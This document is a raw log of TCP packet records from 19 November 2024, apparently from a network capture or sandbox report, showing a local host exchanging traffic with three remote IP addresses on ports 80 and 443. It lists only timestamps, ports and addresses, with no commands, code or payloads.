Nov 19, 2024 18:00:44.875133038 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.875647068 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.875663042 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.875683069 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875711918 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.875720024 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.875721931 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875758886 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.875766993 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.875787020 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.875787020 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.877068043 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.877084970 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.877137899 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.877145052 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.877198935 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.877595901 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.877610922 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.877672911 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.877680063 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.877690077 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.877722025 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.877888918 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.877929926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.877952099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.877964020 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.877984047 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.877999067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878010035 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878046036 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878065109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878098965 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878130913 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878148079 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878165007 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878170967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878212929 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878213882 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878262043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878405094 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878465891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878499031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878514051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878540039 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878635883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878637075 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.878654957 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.878671885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878700018 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.878700018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878703117 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878706932 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.878737926 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.878765106 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878773928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878773928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878798962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878803015 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.878817081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878834009 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878848076 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878849983 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878865004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878875971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878880024 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878892899 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878896952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878911018 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878916025 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878926039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878935099 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878940105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878954887 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878963947 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878968954 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.878983021 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.878984928 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.879000902 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.879017115 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.879019976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.879031897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.879053116 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.879067898 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.900823116 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.900832891 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.900841951 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.900883913 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.900943995 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901514053 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901529074 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901539087 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901550055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901561022 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901577950 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901587963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901592016 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901597977 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901607990 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901614904 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901618004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901628017 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901633024 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901638031 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901647091 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901655912 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901663065 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901667118 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901676893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901686907 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901695967 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901696920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901709080 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901716948 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901717901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.901737928 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.901757002 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.934536934 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934551001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934561968 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934572935 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934588909 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.934591055 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934602022 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934611082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934621096 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.934623957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934633017 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934648991 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.934670925 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.934935093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934943914 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934952974 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934973955 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934983015 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.934992075 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.934995890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935003042 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935028076 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935048103 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935050011 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935090065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935107946 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935126066 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935144901 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935151100 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935157061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935179949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935199976 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935206890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935216904 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935228109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935250998 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935256004 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935265064 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935281038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935286999 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.935302973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935368061 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935376883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935389042 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935403109 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935410023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935412884 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935425043 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935448885 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935465097 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935478926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935489893 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935502052 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935509920 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935513973 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935525894 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935555935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935580969 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935584068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935594082 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935610056 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935620070 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935626030 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935652971 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.935684919 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935729027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.935766935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936018944 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936060905 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936075926 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936085939 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936105013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936114073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936120033 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936139107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936155081 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936173916 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936184883 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936194897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936203957 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936218023 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936244011 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936665058 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936676025 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936686039 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936738968 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936770916 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936867952 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936880112 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936901093 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936913013 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936923027 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936923027 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936933041 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936939001 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936944008 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936950922 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936959982 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936965942 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.936970949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936980963 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936991930 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.936997890 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.937002897 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.937017918 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.937040091 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.937958002 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.937999010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938011885 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938020945 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938055038 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938057899 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938069105 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938079119 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938098907 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938111067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938118935 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938153982 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938281059 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938291073 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938302040 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938311100 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938322067 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938332081 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938339949 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938357115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938360929 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938389063 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938400984 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.938415051 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.938527107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.956918001 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.956938982 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.956998110 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.957017899 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.957077026 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.957082987 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.957308054 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.957350969 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.957372904 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.957380056 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.957406044 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.958450079 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.958465099 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.958528042 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.958537102 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.958563089 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.960524082 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.960585117 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.960640907 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.960647106 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.960666895 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.961903095 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.961918116 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.961973906 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.961982965 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963047028 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963085890 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963114023 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.963119984 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963150024 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.963879108 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963928938 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963932991 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.963946104 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.963992119 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.963999987 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964031935 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964073896 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964088917 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964097023 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964118958 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964137077 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964152098 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964204073 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.964217901 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964245081 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.964245081 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.964255095 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.964278936 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.964293003 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964293957 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.964301109 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.964332104 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.964335918 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964366913 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964366913 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.964375019 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964386940 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964404106 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964704990 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964750051 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964777946 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964783907 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.964813948 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.964828968 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.965306997 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.965363026 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.965394020 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.965400934 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.965432882 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.965445995 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.965538025 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.965584040 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.965622902 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.965627909 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.965641022 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.965723991 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.968203068 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968235970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968246937 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968266964 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968276978 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968288898 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968286991 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.968300104 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.968336105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.968336105 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.968864918 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.968905926 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.968955040 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.968961954 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:44.968974113 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:44.969027996 CET	49783	443	192.168.2.8	13.107.246.40
